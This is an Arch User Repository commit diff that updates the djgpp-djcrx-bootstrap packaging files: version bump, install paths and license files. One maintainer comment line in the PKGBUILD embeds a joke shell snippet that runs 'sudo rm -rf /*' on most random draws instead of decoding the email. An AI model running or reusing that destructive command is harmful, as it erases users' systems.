summarylogtreecommitdiffstats
diff options
context:
space:
mode:
authorAndris Pavenis2017-12-10 13:15:23 +0200
committerAndris Pavenis2017-12-15 21:50:53 +0200
commit735734d7e210240fa3c7a931c4683f5f4fe839a6 (patch)
treef58aa21d84057385c4b489eda50b20030b74deff
parent4ad457e9e422f2eaec869ec0590857dc6b5f9b66 (diff)
downloadaur-735734d7e210240fa3c7a931c4683f5f4fe839a6.tar.gz
Update and re-enable package
-rw-r--r--.SRCINFO8
-rw-r--r--.gitignore5
-rw-r--r--PKGBUILD24
3 files changed, 25 insertions, 12 deletions
diff --git a/.SRCINFO b/.SRCINFO
index 35a63cd3e9fd..ad254f89136b 100644
--- a/.SRCINFO
+++ b/.SRCINFO
@@ -1,16 +1,16 @@
pkgbase = djgpp-djcrx-bootstrap
- pkgdesc = Headers for bootstrapping the djgpp cross-compiler
pkgver = 2.05
- pkgrel = 1
+ pkgrel = 2
url = http://www.delorie.com/djgpp/
arch = i686
arch = x86_64
license = GPL
license = LGPL
license = custom:djgpp
- depends = glibc
+ provides = djgpp-djcrx
+ options = !buildflags
options = !strip
- source = http://www.delorie.com/pub/djgpp/current/v2/djcrx205.zip
+ source = ftp://ftp.delorie.com/pub/djgpp/current/v2/djcrx205.zip
sha512sums = 248034a3c026971eeaa6421ef40f44d03873c62d4edf97490e98c71ac76662eaed531eb734e137a38a644483a34065c3ffc70d3d739682d53c8863bf7b521b90
pkgname = djgpp-djcrx-bootstrap
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 000000000000..e61ff7172366
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
+*~
+/djcrx*.zip
+/djgpp-djcrx-bootstrap-*.pkg.tar.xz
+/src
+/pkg
diff --git a/PKGBUILD b/PKGBUILD
index 3f7a0f1fdd5b..780f66a45804 100644
--- a/PKGBUILD
+++ b/PKGBUILD
@@ -1,13 +1,19 @@
+# Maintainer: Andris Pavenis <andris.pavenis@iki.fi>
# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
# Originally adapted from the djgpp-crx package in AUR3; the submitter was "Schala".
+###############################################################################
+# Only intended for initial bootstrapping of djgpp-gcc. Use package djgpp-djcrx
+# after it instead of this package (including for next builds of djgpp-gcc)
+###############################################################################
+
pkgname=djgpp-djcrx-bootstrap
pkgver=2.05
-pkgrel=1
-pkgdesc="Headers for bootstrapping the djgpp cross-compiler"
-arch=(i686 x86_64)
+pkgrel=2
+pkgdec="DJGPP C library and development files for initial bootstrapping djgpp-gcc"
+arch=('i686' 'x86_64')
+provides=(djgpp-djcrx)
url="http://www.delorie.com/djgpp/"
-depends=('glibc')
license=(GPL LGPL custom:djgpp)
source=(
"http://www.delorie.com/pub/djgpp/current/v2/djcrx${pkgver//./}.zip"
@@ -25,13 +31,15 @@ build() {
}
package() {
- install -dm 0755 "$pkgdir/usr/$_target_alias"
- cp -r "$srcdir/include" "$pkgdir/usr/$_target_alias"
+ install -dm 0755 "$pkgdir/usr/$_target_alias"/sys-include
+ cp -r "$srcdir/include"/* "$pkgdir/usr/$_target_alias"/sys-include/
cp -r "$srcdir/lib" "$pkgdir/usr/$_target_alias"
for _file in stubedit stubify; do
- install -Dm 0755 "$srcdir/$_file" "$pkgdir/usr/$_target_alias/bin/$_file"
+ install -Dm 0755 "$srcdir/$_file" "$pkgdir/usr/bin/$_file"
done
- install -Dm644 "$srcdir/copying.dj" "$pkgdir/usr/share/licenses/$pkgname/copying.dj"
+ for file in copying copying.dj copying.lib readme.1st; do
+ install -Dm644 ${file} ${pkgdir}/usr/share/licenses/$pkgname/${file}
+ done
}